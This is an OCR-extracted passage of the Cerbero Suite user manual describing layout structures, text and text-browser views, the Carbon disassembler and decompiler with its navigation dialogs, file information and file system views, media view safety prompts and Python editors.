To view an overview of the elements in the current layout, you can open the layout
inspector by selecting the 'Inspector’ menu action.

= |nspect
=. Inspector

The layout inspector not only provides an overview of the current layout elements but
also allows you to inspect structures.

£ Inspector

Dos Header

4.14.7 STRUCTURES

In addition to intervals, you can add structures to a layout by using the ’Add Structure’
context menu action.

o 'Add Structure Ctrl+Alt+M
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This action prompts a dialog that allows you to choose the header from which to select a
structure. Additional options include setting the array size (if it’s an array of structures)
and specifying the description and color of the layout element.

o+ Add Structure - Cerbero Suite - 0O
% Header: 'WinNT -
# Name Type e
1 _IMAGE_DOS_HEADER struct
2 _IMAGE_0S2_HEADER struct
3 _IMAGE_VXD_HEADER struct
4 _IMAGE_FILE_HEADER struct
5 _IMAGE_DATA_DIRECTORY struct
6 _IMAGE_OPTIONAL_HEADER struct
7 _IMAGE_ROM_OPTIONAL_HEADER struct
8 _IMAGE_OPTIONAL_HEADER64 struct .

Type: |_IMAGE_DOS_HEADER
Offset: 00000000 Array: |0 =

Endianness: defaut ~

Pointer size: 64 - Description:
Packing: 1 - Color
Compier:  GCC © Randomize color
Platform: none -

0K Cancel

Once a structure is added to the layout, you can inspect it using the layout inspector.

2 Inspector
_IMAGE_DOS_HEADER
Name Offset size value

WinNT: IMAGE DOS_HEADER

e magic 00000000
e_cblp 00000002
e_cp 00000004
e_crlc 00000006

524D
0090
0003
0000

Header files are created using the Header Manager, a tool that parses C/C++ code to
extract structures, or by exporting types from PDB debug files.

Header files can be located in the user ’headers’ directory or within the current project.

o+ Add Structure - Cerbero Suite - O

% Header: |WinNT -
None:
# [Project Header]

[Object Header]
1 Mother...
2 _I

The ’[Project Header|" refers to the header included in the current project, while the
'[Object Header|” refers to the header of the current object being analyzed. To import
structures into these headers, you must launch the Header Manager tool from the analysis
workspace.

# .Manage Headers
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You can find more information about headers and structures on the dedicated SDK page.

4.15 TEXT BROWSER VIEWS

Text browser views are read-only views capable of handling large quantities of text. These
views are aesthetically similar to text views and support syntax highlighting.

UX Hex

16680

16681

16682

16683

16684 _IMAGE FILE HEADER
16685 WORD Machine;

16686 WORD NumberofsSections;

16687 DWORD  TimeDateStamp;

16688 DWORD  PointerToSymbolTable;
16689 DWORD NumberCfsSymbols;

16690 WORD SizeOfOptionalHeader;
16691 WORD Characteristics;

16692 } IMAGE_FILE_HERDER, *PIMAGE_F[LE_PEADER;
16693

4.15.1 TEXT ENCODING

Unlike text views, text browser views allow you to change the codec used to decode the
current text. This feature is particularly useful when the text browser is opened from a
hex view and the text encoding has not been correctly detected.

To change the text codec, select 'Encoding’ from the context menu.
: Encoding

This will prompt a dialog that allows you to choose the codec used to decode the text.

Select encoding... - Cerbero Suite n
IBM870 ~
IBM871
IBM918
1S0-10646-UCS-2
1SO-10646-UCS-4
1S0-2022-CN
1SO-2022-CN-EXT
1S0-2022-JP
1S0-2022-JP-1
1SO-2022-JP-2
1S0-2022-KR
1SO-8859-1
1SO-8859-10
1SO-8859-13
1SO-8859-14
1SO-8859-15
1S0-8859-2
1SO-8859-3
1SO-8859-4
1SO-8859-5 v
Cancel
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4.15.2 SYNTAX HIGHLIGHTING

You can select the syntax highlighting for the text by using the context menu.

R map sy Y *
C/ce+
css
#include <fcntl.h> Dalvik
#include <sys/mman.h> alvi
Dart
#if !defined (MAP_ANONYMOUS) & Go )
# define MAP_ANONYMOUS MAP AN|
#endif - - Java
JavaByteCode
#ifndef MAP NORESERVE Javascript
# define MAP_NORESERVE 0
#endif O
Julia
#define MMRP(addr, size, prot Kotlin
_ mmap((addr), (size), (prot L ONYMOUS |MAP_PRIVATE, -1, 0)
ua
MachODyld
Select All Ctrl+A MSIL
Begin Selection... Objectve-c |
Go to Line Crl+G Perl
Find... Ctrl+F PHP
View R Pov:lershell
Language o A
B R
Encoding
Ruby
Open in Editor  Ctrl+Shift+E Rust
Save to Disk Ctri+Alt+0 Scala
INTERNAL SIZE T mchunk  Shell
sQL
malloc_chunk* fd; Swit
malloc_chunk* bk: Wi
TrueType
* Only used for large bloc| | fypet
malloc_chunk* fd mex ' . .

4.15.3 SAVING CONTENT TO DISK

To save the content of the text browser view to disk, select ’Save to Disk’ from the context
menu.

: Save to Disk Ctrl+Alt+0O

4.15.4 OPENING AN EDITABLE TEXT VIEW

When editing text is necessary, you can open a new text view containing the same content
as the text browser view by selecting 'Open in Editor’ from the context menu.

: Open in Editor Ctrl+Shift+E

4.16 TEXT VIEWS

Text views are used to display editable text. Unlike text browser views, they are not
designed to handle large quantities of text.
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4.16.1 SYNTAX HIGHLIGHTING

Just as in text browser views, you can change the syntax highlighting for the text by
using the context menu.

#define clear_inuse bit_at offset]
(((mchunkptr) ((( *) (@) 4

* Set size at head, without dist
#define set_head_size(p, s) ((p)
* Set size/use field *

#define set_head(p, s) (@

* Set size at footer (only when

#define set_foot (p, s) (((m
#pragma
orooma| |Undo ctri+z
Redo Ctri+y
] cut Ctrl+x
Copy ctri+C
Paste ctri+v
Delete
X If m Select All Ctrl+A
1 View ,
sewas|  Language ’
requi  Code o
pointf
* Find... Ctrl+F
Replace..  Ctrl+H

Bins Save to Disk ~ Ctrl+Alt+O

4.16.2 SAVING TO DISK

c#
C/C++

css

Dalvik

Dart

Go

Java
JavaByteCode
Javascript
JSON

Julia

Kotlin

Lua
MachODyld
MsIL
Objective-C
Perl

PHP
PowerShell
Python

R

Ruby

Rust

Scala

Shell

saL

Swift
TrueType
Typel

ze &= ~(PREV_INUSE))

-

((p) ->mchunk_size & SIZE_BITS) | (s)))
s))

se) *

*) (p) + (s)))->mchunk prev_size = (s))

I bookkeeping space
tes (for 4byte

To save the content of the text view to disk, select ’Save to Disk’ from the context menu.

‘ Save to

Disk

Ctrl+Alt+0 |

4.17 CARBON DISASSEMBLY VIEWS

Carbon is a high-speed disassembly technology included in Cerbero Suite, designed to

manage a wide range of disassembly tasks from binaries to memory dumps.

.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
.text:
ctext:
.text:
.text:
.text:
.text:

Carbon disassembly

views enable you to examine

0x140001004 loc_140001004:

0x140001004

0x140001004 mov eax, OxA

0x140001008 cdg

0x14000100A xor ecx, ecx

0x14000100C idiv ecx

0x14000100E mov edx, eax

0x140001010 lea rcx, [0x1400021B8]
:0x140001017 call gword ptr [0x140002118]
0x14000101D Jmp loc_14000102D
0x14000101D

0x14000101F

0x14000101F loc_14000101F:

0x14000101F

0x14000101F lea rex, [0x1400021c0]
0x140001026 call gword ptr [0x140002118]
0x14000102C nop

0x14000102D

0x14000102D loc_14000102D: ; CODE XREF: 0x14000101D
0x14000102D xor eax, eax

0x14000102F add rsp, 0x28

0x140001033 ret

0x140001033

and alter the contents of a Carbon

disassembly project. Typically, these projects are accessed from specific entries in the
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summary view. For executables, a native code entry automatically appears in the sum-
mary view, providing direct access to a Carbon disassembly project.

Intrinsic threats
&2 Native Code: ARM64

You also have the option to create your own disassembly projects. In Cerbero Suite, any
individual object in the object hierarchy can be linked to multiple disassembly projects,
each configured with a different default architecture if necessary. Furthermore, it is
possible to combine multiple architectures within the same disassembly project.

4.17.1 DECOMPILING
All Carbon disassembly views support the decompilation of disassembled functions.

loc_41D3ES:
_shell name = pevarl2:
(_dollar_vars != 0) {
sh_xfree(_dollar_vars, "../bash/shell.c", Ox63B);
}
ivar8 = strlen(_shell name);
uvar® = sh xmalloc(ivar8 + 1, "../bash/shell.c", 0x63C);
_dollar vars = strcpy(uvar9, _shell name);
(((_shell_name == ( *)0x0) || (*_shell name == '\0')) |
((*_shell name == '-' && (_shell name[l] == "o o

_shell name = ( *) "bash";

}

_shell start_time = time(0)};

uvarlé = uStack_2c;
(uStack_2c == uStack_18) loc_41D554;

unaff x23 = ( *)ppeStack_20[( JuStack_2c];
(unaff x23 == ( *)0x0) loc_41D554;
(*( *)unaff x23 != '-') loc_41D554;

unaff w26 = 0;

unaff x27 = ( **) &"debug" ;

unaff x28 = ( *) "debug";

To open the decompiler view you can either select the corresponding option from the
context menu or simply press the Tab key.

: Decompile Tab

You can toggle between the decompiler view and the disassembly view using the Tab key.

If you're unable to open the decompiler, ensure that the caret in the disassembly view is
positioned within a function. If no function is defined, you may need to define one.

4.17.1.1 CHANGING A FUNCTION PROTOTYPE

To modify the prototype of a function in the decompiler view, use the dedicated action
available in the context menu or press the Y key.

: Change Prototype Y
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4.17.2 RENAMING ITEMS

You can rename labels in the disassembly view, as well as function names and variables
in the decompiler view, by using the corresponding action from the context menu or by
pressing the N key.

Rename N

4.17.3 ADDING COMMENTS

To add comments, select the appropriate action from the context menu or press the
semi-colon key (;).

Comment

4.17.4 FLAGGED LOCATIONS

Flagged locations are points of interest in the code that you can mark for quick reference.
You can manage these locations using the context menu or keyboard shortcuts.

Flagged Locations ' Add Flagged Location... Ctrl+M
Open Memory View Ctrl+Shift+M Go to Flagged Location...  Ctrl+.

Alternatively, you can use bookmarks instead of flagged locations. The key difference is
that flagged locations are specific to the current disassembly project.

4.17.5 DEFINING CODE

You can define code by selecting ’Make Code’ from the context menu or by pressing the
C key. If there is no active selection in the disassembly view, the code analysis will begin
at the caret’s current location. If a selection is present, the code analysis will be confined
to the selected data range.

Make Code C

The 'Make Code’ action defines code using the default architecture of the disassembly
project. However, you can select a different architecture by choosing 'Make Code As...’
from the context menu.

Make Code As...
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This action prompts a dialog that allows you to choose from the available architectures.

Make Code As... - Cerbero Suite - O
~

Architecture

x86

x64

%86 16
arm32
arm32 le

arm32_be

+himmb

4.17.6 DEFINING DATA

To define data, select 'Data’ from the context menu or press the D key.

Data D

This action prompts a dialog that lets you choose from the available data types.

Data - Cerbero Suite - O

Type
ptr32 be
ptré4
ptréd le
ptréd be
ascii
utfs

+F14

To reapply the same data type, you can select 'Data Repeat’ from the context menu or
press the W key.

: Data Repeat (ptre4_le) W

4.17.7 UNDEFINING CODE AND DATA

To undefine either code or data, you can select "Undefine’” from the context menu or press
the U key.

:Undeﬁne U

If a selection is available, the action will undefine the selected range in the disassembly
view. If no selection is present, it will undefine the item at the current caret’s position.
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4.17.8 DEFINING AND UNDEFINING FUNCTIONS

To define and undefine functions, you can use the context menu or press the P key to
define a function.

-

_Functions Make Function P

-

Flagged Locations Delete Function

Once a function is defined, either through automatic analysis or manual action, it can be
decompiled.

4.17.9 NAVIGATION

In the disassembly view, you can navigate to addresses, labels, and cross-references by
double-clicking on them or by positioning the caret over them and pressing the En-
ter/Return key. You can navigate through functions in the decompiler view using the
same methods.

To return to a previous position in either the disassembly or decompiler view, you can
use the Esc key.

To navigate to other places of interest, you can use the context menu or keyboard short-
cuts.

Go to... ' Go to Address... G
Find 4
. Back Esc
Functions 4
. Follow Return
Flagged Locations 4
. . Entry Point Ctrl+1
Open Memory View Ctrl+Shift+M .
Function Ctrl+2
Decompile Tab Import Ctrl+3
Load Debug Symbols... Ctrl+D Export Ctrl+4
/ Filter... Ctrl+T String Ctrl+5
Ux Open in Hex Editor Label Ctrl+6
Export , Module Ctrl+7
Region Ctrl+8
View 4
Theme , Go to XRef Origin... Ctrl+X
Settings Go to Flagged Location...  Ctrl+.
. a; Previous Word Ctrl+Left
r a .
, al Next Word Ctrl+Right
4.17.9.1 ADDRESSES

Y

To navigate to a specific address, select ’Go To Address...” from the context menu or
press the G key. This action opens a dialog that allows you to enter a custom Python
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expression.

Go To... - Cerbero Suite n

Insert Python Expression:
0x140002118 + §| v

4.17.9.2 ENTRY POINTS

To navigate to an entry point, use the ’Go To...” — ’Entry Point’ action from the context
menu or press the Ctrl41 shortcut. This action opens a dialog that allows you to select

the entry point you wish to navigate to.

Go to Entry Point... - Cerbero Suite -0

Fier...

Address Module Name A
3019BAE0 WORDVIEW.EXE _start
325c4124 MSOHEV .DLL _start
6B353REB GDIPLUS.DLL _start
68381160 msimg32.d11 _start
6B3B1CED sti.dll _start
6B3F1000 RICHED20.DLL _start
68503610 msi.dll _start
6BBOE45R MSO.DLL _start
6EA41CBO winspool.drv _start
71941EED dwmapi .d11 _start
71861420 srvcli.dll _start
71C6DC40 comct132.d11 _start v

Cancel Refresh

All Carbon list dialogs feature a text filter that allow you to quickly locate specific items
of interest.

4.17.9.3 FUNCTIONS

To navigate to an function, use the ’Go To...” — "Function’ action from the context menu
or press the Ctrl42 shortcut. This action opens a dialog that allows you to select the
function you wish to navigate to.
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Go to Function... - Cerbero Suite - o
Fiter |
Address Module Name ~
00443FF4 elf-Linux-ARM64-bash initialize_ job_control
004443F4 elf-Linux-ARM64-bash stop_pipeline
00444c54 elf-Linux-ARM64-bash delete_all jobs
0044488 elf-Linux-ARM64-bash  nohup_all jobs
0044484C elf-Linux-ARM64-bash  count_all jobs
00444F04 elf-Linux-ARM64-bash freeze_jobs_list
00444F18 elf-Linux-ARM64-bash unfreeze_jobs_list
00444F28 elf-Linux-ARM64-bash set_job_control
00444F58 elf-Linux-ARM64-bash without_job_control
00444F9C elf-Linux-ARM64-bash end_job_control
00444FFC elf-Linux-ARM64-bash restart_job_control
00445028 elf-Linux-ARM64-bash set_sigchld handler
00445038 elf-Linux-ARM64-bash close_pgrp_pipe
00445048 elf-Linux-ARM64-bash save_pgrp_pipe v
OK Cancel Refresh
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4.17.9.4 IMPORTS

To navigate to an imported symbol, use the 'Go To...” — 'Import’ action from the context
menu or press the Ctrl43 shortcut. This action opens a dialog that allows you to select
the imported symbol you wish to navigate to.

Go to Import... - Cerbero Suite - o

Fiter...

Address Module ordinal Nanme ~
004D6028 elf-Linux-ARM64-bash 00000000 getcwd
004D6030 elf-Linux-ARM64-bash 00000000 freeaddrinfo
004D6038 elf-Linux-ARM64-bash 00000000 setuid
004D6040 elf-Linux-ARM64-bash 00000000 strtoul
004D6048 elf-Linux-ARM64-bash 00000000 strlen
004D6050 elf-Linux-ARM64-bash 00000000 getpeername
004D6058 elf-Linux-ARM64-bash 00000000 fputs
004D6060 elf-Linux-ARM64-bash 00000000 _ sprintf_chk
004D6068 elf-Linux-ARM64-bash 00000000 mbstowcs
00406070 elf-Linux-ARM64-bash 00000000 exit
004D6078 elf-Linux-ARM64-bash 00000000 dup
004D6080 elf-Linux-ARM64-bash 00000000 EtCSetpgrp .
V(V o o : o e ) >

Cancel Refresh

4.17.9.5 EXPORTS

To navigate to an exported symbol, use the ’Go To...” — "Export’ action from the context
menu or press the Ctrl4+4 shortcut. This action opens a dialog that allows you to select
the exported symbol you wish to navigate to.

Go to Export... - Cerbero Suite -0

Filer.

Rddress Module ordinal NA
00420674 elf-Linux-ARM64-bash 00000000 push_stream
00420720 elf-Linux-ARMG4-bash 00000000 pop_stream
00420820 elf-Linux-ARM64-bash 00000000 stream on_stack
00420858 elf-Linux-ARM64-bash 00000000 save_token state
00420828 elf-Linux-ARM64-bash 00000000 restore_token_state
004208DC elf-Linux-ARM64-bash 00000000 free pushed_string_input
004208E0 elf-Linux-ARME4-bash 00000000 gather here documents
00420960 elf-Linux-ARMG4-bash 00000000 reset parser
00420814 elf-Linux-ARM64-bash 00000000 find reserved word
00420894 elf-Linux-ARM64-bash 00000000 history delimiting_chars
00420c80 elf-Linux-ARM64-bash 00000000 get_current_prompt_level .
; 77777777777777777 : B >

Cancel Refresh

4.17.9.6 STRINGS

To navigate to a string, use the 'Go To...” — ’String’ action from the context menu or
press the Ctrl+5 shortcut. This action opens a dialog that allows you to select the string
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you wish to navigate to.

ot ST, - CiiE e - o

e

Address Module Text £
000000014034F44C ntoskrnl.exe <
000000014000BE40 ntoskrnl.exe \t
000000014034F358 ntoskrnl.exe e
0000000140154280 ntoskrnl.exe \Registry\Machine\System\CurrentControlset\Control
0000000140154CA0 ntoskrnl.exe 51
0000000140152770 ntoskrnl.exe \Registry\Machine\System\CurrentControlSet\Control
0000000140153E20 ntoskrnl.exe MiniNT
0000000140154040 ntoskrnl.exe Su.%u.u.fu
000000014015320 moskmt.exe |va.n.van
000000024034F444  ntoskral.exe |2
0000000140152A30 ntoskrnl.exe \Registry\Machine\System\CurrentControlSet\Control
0000000140154F60 ntoskrnl.exe AlternateCodePage
0000000140152500 ntoskrnl.exe \Registry\Machine\System\CurrentControlSet\Control
00000001401525A0 ntoskrnl.exe \Registry\Machine\System\CurrentControlSet\Service
00000001406A8708 ntoskrnl.exe = v

oK Cancel Refresh

The provided string list includes only basic English strings identified during code analysis.
For a more comprehensive string detection, use the 'Find Strings’ action.

4.17.9.7 LABELS

To navigate to a label, use the ’Go To...” — ’Label’ action from the context menu or
press the Ctrl+6 shortcut. This action opens a dialog that allows you to select the label
you wish to navigate to.

Go to Label... - Cerbero Suite -0

Fiter.

Rddress Module Name "
0041C1ES elf-Linux-ARM64-bash  _init
0041D090 elf-Linux-ARM64-bash  main
0041E768 elf-Linux-ARM64-bash  _start
0041EECC elf-Linux-RRM64-bash  exit shell
0041EF6C elf-Linux-ARM64-bash  sh_exit
0041EF78 elf-Linux-ARM64-bash  shell is restricted
0041EFE0 elf-Linux-ARM64-bash  maybe make_restricted
0041F080 elf-Linux-ARM64-bash  disable priv_mode
0041F0CO elf-Linux-ARM64-bash  unbind args
0041F0DC elf-Linux-ARM64-bash  unset bash_input
0041F144 elf-Linux-ARM64-bash  get_current user_info
0041F48¢ elf-Linux-ARMG4-bash  parse_command N

Cancel Refresh

Unlike the list of functions, the list of labels includes entries that are not associated with
a function.

4.17.9.8 MODULES

To navigate to a module, use the 'Go To...” — "Module’ action from the context menu
or press the Ctrl+7 shortcut. This action opens a dialog that allows you to select the
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module you wish to navigate to.

Go to Module... - Cerbero Suite

stare
30000000
3250000
6810000
6830000
68380000
68370000
68500000
68820000
6ER0000
71940000
71860000

6ca3c000
6ERRS000
71958000
71870000

End

30881000
32502000
65391000
68386000
6538E000
6845C000

68376000

Name

"WORDVIEW.EXE
MSOHEV. DLL
GDIPLUS.DLL
nsing32.d11
sti.all
RICHED20.DLL

msi.dll

Format

Path

C:\PROGRA~2\MICROS~1\OFFICE11\

\Windows\Syswowe4\

es (x86)\Common Files\Mi..

a\

\Windows\SysWORE4\

Import PDB data structures into the local header of the Carbon disassembly ~

[Anaiyze moduk| | Load PDB | Donmioad and oad PDB Dovnload and bad al PDBS

oK

Cancel

resh

The dialog also enables you to initiate code analysis for specific modules. This feature is
particularly useful in the context of memory dumps, where modules are not automatically
analyzed. Additionally, the dialog provides the option to load debug symbols.

4.17.9.9 REGIONS

To navigate to a memory region, use the ’Go To...
menu or press the Ctrl48 shortcut. This action opens a dialog that allows you to select

the memory region you wish to navigate to.

— ’Region’ action from the context

Go to Region... - Cerbero Suite - o
Filter.

Start End Module Flags Name
30000000 30000400 WORDVIEW.EXE R headers
30001000 3065C00A WORDVIEW.EXE RX -text
3065D000 30681FFC WORDVIEW.EXE RW .data
30682000 306A32BC WORDVIEW. EXE R .tls
30684000 30684004 WORDVIEW.EXE RW .cdata
30685000 30880978 WORDVIEW.EXE R .xsrc
325¢0000 32500400 MSOHEV.DLL R headers
325c1000 325CE0F4 MSOHEV . DLL RX _text
325CF000 325CF790 MSOHEV.DLL RW .data
32500000 32500868 MSOHEV.DLL R .xsrc
6B1F0000 6B1F0400 GDIPLUS.DLL R headers
6B1F1000 6B35F0AL GDIPLUS.DLL RX -text

conct | [ raren

4.17.9.10 CROSS REFERENCES

When a location is referenced by various points in the code, you can select 'Go To...’
— ’Go to XRef Origin’ from the context menu or press the Ctrl+X shortcut to view
the originating cross-references. This action opens a dialog that allows you to select the
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cross-reference you wish to navigate to.

Go to XRef Origin for 0x14052A770 - Cerbero Suite - o

Direction Type Address Module Text
i DATA  000000014032F920 ntoskrnl.ex: NA
t COND 00000001403BAB8S ntoskrnl.exe NA
t JUMP 00000001403BAEAB ntoskrnl.ex: NA

oK. Cancel Refresh

4.17.10 EDITING BYTES

You can edit bytes in the disassembly by selecting "Edit Bytes’ from the context menu
or by pressing the E key.

Edit Bytes E

Changing bytes in the disassembly does not affect the original file. To edit bytes in the
original file, To edit bytes in the original file, you can select 'Open in Hex Editor’ from
the context menu.

4.17.11 MEMORY VIEW

To open a hex view displaying the address space of the current disassembly, select ’Open
Memory View’ from the context menu or press the Ctrl+Shift+M shortcut.

:Open Memory View Ctrl+Shift+M

4.17.12 LOADING DEBUG SYMBOLS

Debug symbols can be loaded through the module list dialog, also accessible via the "Load
Debug Symbols...” action in the context menu or by using the Ctrl+D shortcut.

:Load Debug Symbols... Ctrl+D

© 2025 Cerbero Labs 83



Debug symbols can be loaded from disk or, for public PDBs, downloaded from the inter-
net.

Load PDB Download and load PDB| |Download and load all PDBs

When loading debug symbols, you can choose whether to import structures from the
debug symbols. If you opt to import structures, you can decide whether to import
them into the project header, into the current object header or into the local Carbon
disassembly project header. It is recommended to avoid selecting the project header for
importing structures to prevent conflicts.

Import PDB data structures and symbols into the local header of the Carbon disassembly -~

Don't import PDB data structures and symbols

Import PDB data structures and symbols into the local header of the Carbon disassembl
Import PDB data structures and symbols into the current object header

Import PDB data structures and symbols into the global header of the project

4.17.13 SWITCHING TO THE HEX EDITOR

To edit bytes in the original file, you can select 'Open in Hex Editor’ from the context
mentu.

Ux :Open in Hex Editor

This action prompts you to select the original file on disk and opens it in the hex editor
at the location specified by the caret in the disassembly. You can then use the hex editor
to modify the original file.

4.17.14 SETTINGS

You can modify the disassembly view preferences by selecting "Settings’ from the context
menu.

:Settings

© 2025 Cerbero Labs 84



4.17.15 THEME

Carbon disassembly views can optionally use a distinct theme from the rest of the appli-
cation. You can select a theme from the context menu.

% Herarchy.
Fier

Name.

14 Dos Header

4 1 Nt Headers

| ExceptionTest.exe
+ it Documents
" Configuration Fil 1 lang:1033]

H Rich Signature

H File Header

4 14 Optional Header
14 Data Directories

H section Headers

85| & Analyss [Native Code: x64] Data Repeat (piré4_le)

Undefine
Edit Bytes

GoTo

Find

Functions

Flagged Locations

Open Memory View Crl+Shift=M
Decompile Tab

Load Debug Symbols..  Ctrl+D
filter... cirisT
Open in Hex Editor

Export

View

Theme

Settings

Light

[ Mariana
Monokai
SolarizedDark

4.18 FILE INFORMATION VIEWS

File information views display details about specific file system objects, such as files or
directories. These views also provide hex and text previews of the data and enable the

calculation of cryptographic hashes.

il

‘ Ux Hex

‘ Hashes

\
OxHex
| Text \
& Hashes |
‘J’Medialnfﬂ ‘

|

|} YARA

Name
Name
Path
Size
File Type
Detected Format
Created
Modified
Accessed
Attributes
Owner

Permissions

MD5
SHA-1
SHA-256

Value
notepad.exe
C:\Windows\notepad.exe
216 KBs (221184 bytes)
exe File
PE
Thu Mar 5 12:48:28 2020
Thu Jul 9 18:13:49 2015
Thu Mar 5 12:48:28 2020

Trustedinstaller

TrustedInstaller - Permissions: Read Write Execute Delete
Administrators - Permissions: Read Execute

SYSTEM - Permissions: Read Execute

Users - Permissions: Read Execute

ALL APPLICATION PACKAGES - Permissions: Read Execute
Double click here to calculate the hash

Double click here to calculate the hash

Double click here to calculate the hash

When you hover the mouse over a cryptographic hash, a tooltip will display the humanized
version of the hash for easy comparison.

MD5
SHA-1
SHA-256
SHA-384
SHA-512

SHA3-224

Additionally, file information views can be extended by installed packages.
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Double click here to calculate the hash

0BBI3B2ABAIB677578CB1CAC4TE3967/8DIFEBETE
Double click here tc| Humanized: cold-edward-mango-november

Double click here to calculate the hash

Double click here to calculate the hash

Double click here to calculate the hash

85



4.18.1

FILE DIALOGS

A practical feature of file information views is their accessibility within file dialogs. When
opening a file or directory, you can view detailed information by selecting the ’Info’

button.

& Info

This button toggles the display of a file information view within the file dialog.

4.19 FILE SYSTEM VIEWS

Select file... - Cerbero Suite “
i C:\Windows e 2@
& My Computer Name Size Type  Modified »
~
@hn ) pyw.exe 9047 KBs exe File 8/30/2021 835 PM
i Desktop " regedit.exe 151KBs  exefile 10/29/2014 2:12 AM
i Documents > setupactlog 39055KBs  log File 11/8/2023 1:57 PM
i Downloads » setuperrlog 0 bytes log File 8/22/2013 3:46 PM
* splwow64.exe 126.5 KBs exe File 8/9/2022 8:22 PM
" Starter.xml 35.05 KBs xml File 8/22/2013 7:51 AM
) system.ini 219bytes iniFile 8/22/2013 2225 PM
 twain_32.ll 53 KBs dilFile 10/29/2014 1:34 AM
> vmgcoinstalllog 2659KBs log File 8/22/2013 3:47 PM v
Fie name: reged.exe Open
Fies of type: |Al Fies (*) - cancel
== Info
il Overview Name Value ~
(ox Hex Name regeditere .
Path C:\Windows\regedit.exe
| Text Size 151 KBs (154624 bytes)
| B Hashes ile Type exe File
|3 Mediainfo || Detected Format PE
—————— | Created Thu Jun 4 12:20:55 2015
‘ {3 YARA Modified Wed Oct 29 02:12:30 2014
Accessed Thu Jun 4 12:20:55 2015 v
Analyze Hex Edtor

File system views enable the exploration of file systems
face and incorporate a file information view to provide details about selected files and

directories.

via a classic file manager inter-

«s el
Name Wl Overview || I 7c897c2167£77748644493434066a204 ./ .disk/base_components
2 d41d8cd98£00b204€9800998ecEBA27e ./ .disk/base_installable
i doc 0x Hex || 3 92££23£a61a756726d509282£970c0c9 ./ disk/cd_type
- A — | 4 ab7509bBECc267daT3a5ch7dB40dacdTd ./ .disk/info
© Text || 5 c£127d3c£d376c6211eb82£227638240 ./.disk/udeb_include
i firmware e 6 cefed90870185e£689£004e686de8fce ./EFI/boot/bootx64.efi
i install Bl Hashes || 7 f4d3eseccaactcee3sedseansatbale . /EFI/boot/grubxed.efi
; = 8 7d0b67£4948db65a66£b9168b9549bb0 . /EFI/debian/grub. cfg
wt install.amd & Medialnfo || o c05c2b66cE6278800c049F1Tac20a6 . /READNE. html
i isolinux Ovara || 10 bRilSascoeTsbselssecaasoaccdzl ./README.mirrors.ntnl
i pics 11 36630394£72a3b8CO101d8293140e805 . /README .mirrors. txt
2 14f 713883dcad . /README.source
i pool 13 214£57159b00£78279666d3cbEL6D194 . /README. txt
- tools 14 55eca6138b2802d7e0adeeedad734412 . /autorun.inf
s autoruninf 15 7d65¢9de57a2501b70136a130262132d . /boot/grub/efi. img
- 16 7716£2280cc5135e865E4cd66c1aTTce . /boot/grub/ font.pE2
17 24c643980bcd9bA7851b4£81675E038F . /boot/grub/grub. cfg
18 £d283146e85211dbecd8004b73bee9b . /boot/grub/theme/1
19 0747033e546a1£65b9£e3b96823a0416 . /boot/grub/theme/1-1
20 ae0c1de0729eda48cd03783b104094dd . /boot/grub/theme/1-1-1
> README htm! 21 9ce36c01f42fed5Tcad0fB41d40bceS9 . /boot/grub/theme/1-2
3 B 22 9908036a£d186£39c50e299aeae2e98e . /boot/grub/theme/1-2-1
README mirrors.htm 23 86c66£6£18c5651d8313d2aldoc19%1a . /boot/grub/theme/dark-1
* README.mirrors.txt 24 dle8bBE04£113£785b3265¢15cd408d1 . /boot/grub/ theme/dark-
s README source 25 2e9430£20b23£0£1ecd8a27d9d4c2618 . /boot/grub/theme/dark-
26 fac3lced189ab4el592016¢199382¢h0 . /boot/grub/theme/dark-
* README.txt 27 d3b81175c915bcoffaTbEfSac738edf4d . /boot/grub/theme/dark-1-2-1
+ setup.exe 28 70c3696469259d03552ed50187269183 . /boot/grub/theme/hl_c.png
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4.19.1 ADDING CHILD OBJECTS

Within an analysis view, you can add a child object to the hierarchy using a file system
view. To do this, select a file, then choose ’Add Child Object’ from the context menu or

press the Ctrl+E shortcut.

-

.
3,
s
s
.
.

s

g2ldr Copy Line
g2ldr.mbr Increase Column Width
md5sum.txt Decrease Column Width
README.html .

Find...
README.mirr

README.mirr Export

Ctrl+C

Ctrl++
Ctrl+-

Ctrl+F

3

README.sour(.  Add Child Object

Ctrl+E

README.txt | ' Add Root Object

Alternatively, you can add a root object by using the context menu.

4.20 MEDIA VIEWS

Media views are utilized to display media elements, such as previewing images within the
analysis view. These views ensure safe display of external media elements by alerting the
user about the risks associated with rendering media using a third-party library.

Warning!

Media elements are rendered through third-

party code which could be the target of

exploits. Alow media content only if you are
sure about the safety of the data or when

running in a virtual environment.

Now || Alowal

You can modify the security settings for media views from the applications settings.
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4.21 PYTHON EDITORS

Python editors are a vital component of any workspace that supports them, enabling to
enhance graphical analysis with custom scripts.

wr ~ K ~ 77 ftar_parse []
1 Pro.Core *
2 Pkg.TER *
3
4 parseTARArchive (fname) :
5] c = createContainerfFromFile (fname)
6 c.isNull():
=
8 obj = TARCbject ()
9 obj.Load (c) obj.ParseArchive () :
10
11 curoffs =
12 :
13 entry, curoffs = obj.NextEntry (curoffs)
14 entry = :
15
16
17
18
19 B set:", str(entry.offset data), "file size:", str(entry.size))
20 ret le data as
21 fc = obj.GetEntryData (entry)

You can open a new Python editor by selecting the 'Open New Python Editor’ option
from the menu or by using the Ctrl4+Alt+P shortcut.

- :Open New Python Editor Ctrl+Alt+P

Through the editor’s toolbar, you can load scripts from Cerbero Suite’s internal cache or
from disk, save them to their current location or to a different disk location, delete them,

and run them using the Ctrl+E shortcut.

wr ~ b ~ 77 tar_parse

To save a script in the internal cache, simply edit its name in the toolbar and then choose

to save or run it.

When loading a script from the internal cache, a dialog appears that previews the content
of cached scripts. This dialog includes a text filter to help you quickly locate the script

you need.

Load Script - Cerbero Suite - o
Fiter. 1 Pro.Core *
2 Pro.PE *
Name Al 3
extract_payloads 4 di sassembleMSILMethod (fname) :
N 5 ¢ = createContainerFromFile (fname)
flagprot 6 pe = PEObject ()
float cast 7 pe.Load(c) :
8
freqan 9 out = NTTextStringBuffer ()
fuelst 10 out.setIndentSize (4)
gift 11 tables = pe.MDTables ("#~") # 'tables'
N 12 pe.DisassembleMSIL (out, 0x06000012) #
imgdec 13 print (out.buffer)
longword 14
mela 15 disassembleMSILMethod (r"C:\Windows\Microsoft.NET\assembly\G va.
B msil_disasm_sample
mw_ps1_ins_rem_deobf
mw_ps1_ins_rem_encoded_exe
parse_crx
parse_gofuncs
pdb_symbol_visitor v« >
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The editor supports auto-completion, which can be activated using the Ctrl+Space short-

cut.

14 v = proContext().getCurrentinalysisview()

15
